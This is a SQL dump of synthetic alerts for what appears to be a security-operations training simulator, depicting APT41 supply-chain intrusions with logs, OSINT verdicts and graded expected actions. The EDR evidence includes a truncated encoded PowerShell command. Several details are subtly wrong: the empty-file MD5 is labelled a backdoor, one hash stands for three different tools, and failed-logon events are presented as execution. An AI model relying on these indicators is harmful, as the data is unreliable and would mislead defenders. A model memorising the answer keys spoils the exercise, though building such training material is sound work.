activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a2f4e6d2b2a4f5c6f9e8b7e4c1d2f3e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File hash corresponds to a known variant of malware used in ASUS supply chain attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ASUSUpdate.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"vendor_security_advisory\",\"verdict\":\"suspicious\",\"details\":\"File name is associated with the compromised ASUS update utility.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(531, 'Execution: Malicious Payload Deployment', 'high', 'Endpoint Detection and Response', 'The infected update utility executes the malicious payload on target machines, setting the stage for further exploitation.', 'Malware Execution', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 68, '{\"timestamp\":\"2023-10-05T14:22:39Z\",\"event_id\":\"E123456\",\"source_ip\":\"203.0.113.15\",\"internal_ip\":\"192.168.1.45\",\"user\":\"jdoe\",\"process_name\":\"update.exe\",\"file_path\":\"C:\\\\Program Files\\\\Update\\\\update.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"execute\",\"description\":\"Malicious payload executed by compromised update utility.\",\"os\":\"Windows 10\",\"username\":\"jdoe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with malware used in APT41 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"User account of the compromised system.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(532, 'Persistence: Establishing Backdoor Access', 'high', 'System Logs', 'APT41 has successfully installed a backdoor on the targeted system to ensure continued access. The backdoor was detected through analysis of system logs, indicating a connection to a known malicious IP and the presence of a suspicious executable file in the system.', 'Backdoor Installation', 'T1078 - Valid Accounts', 1, 'Closed', 68, '{\"timestamp\":\"2023-10-11T15:23:45Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"compromised_user\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"process_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Execution\",\"status\":\"Failed Logon\",\"logon_type\":\"3\",\"authentication_package\":\"NTLM\",\"network_address\":\"10.0.0.55\",\"logon_guid\":\"{12345678-1234-5678-1234-567812345678}\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 associated IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Account used in multiple logon attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with backdoor executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.123Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T15:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Failed Logon\\\",\\\"logon_type\\\":\\\"3\\\",\\\"authentication_package\\\":\\\"NTLM\\\",\\\"network_address\\\":\\\"10.0.0.55\\\",\\\"logon_guid\\\":\\\"{12345678-1234-5678-1234-567812345678}\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(533, 'Lateral Movement: Expanding Network Footprint', 'high', 'User Behavior Analytics', 'Using stolen credentials, the attackers move laterally across the network to identify high-value targets. This step involves credential dumping to facilitate further infiltration into the network.', 'Credential Dumping', 'T1003', 1, 'new', 68, '{\"timestamp\":\"2023-10-15T14:48:00Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.15.23\",\"username\":\"jdoe\",\"process_name\":\"lsass.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_description\":\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\",\"host\":\"WIN-SERVER01\",\"detected_by\":\"User Behavior Analytics\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\lsass.exe\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in unusual access pattern.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash belongs to a known credential dumping tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.135Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:48:00Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.15.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event_description\\\":\\\"Failed login attempt detected. Potential credential dumping via lsass.exe process.\\\",\\\"host\\\":\\\"WIN-SERVER01\\\",\\\"detected_by\\\":\\\"User Behavior Analytics\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lsass.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(534, 'Exfiltration: Data Harvesting', 'high', 'Data Loss Prevention', 'APT41 begins exfiltrating data from compromised systems, focusing on valuable intellectual property and sensitive user data.', 'Data Exfiltration', 'T1020: Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:30Z\",\"event_source\":\"Data Loss Prevention\",\"src_ip\":\"10.20.30.40\",\"dst_ip\":\"203.0.113.45\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"Sensitive_Project_Documents.zip\",\"user\":\"jdoe\",\"action\":\"file_transfer\",\"protocol\":\"HTTPS\",\"destination_url\":\"https://malicious-site.example.com/upload\",\"external_ip\":\"203.0.113.45\",\"internal_ip\":\"10.20.30.40\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known APT41 exfiltration tool.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://malicious-site.example.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"URL used for data exfiltration by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(535, 'Target Identification: Specific MAC Addresses', 'high', 'Threat Intelligence Feeds', 'The attackers are utilizing malware to identify and target specific MAC addresses, indicating a precise strike within the broader attack. This operation highlights the advanced capabilities of APT41 in conducting targeted attacks.', 'Targeted Attack', 'T1087 - Account Discovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:32Z\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.0.45\",\"malware_hash\":\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\",\"malware_filename\":\"CCleaner_v5.33.exe\",\"target_mac\":\"00:1A:2B:3C:4D:5E\",\"user\":\"jdoe\",\"action\":\"Identify\",\"result\":\"Specific MAC address identified within infected network\",\"attack_type\":\"Supply Chain Attack\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Shodan\",\"verdict\":\"malicious\",\"details\":\"IP associated with past APT41 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host identified in attack\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with CCleaner supply chain attack\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"CCleaner_v5.33.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious file used in supply chain attack\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 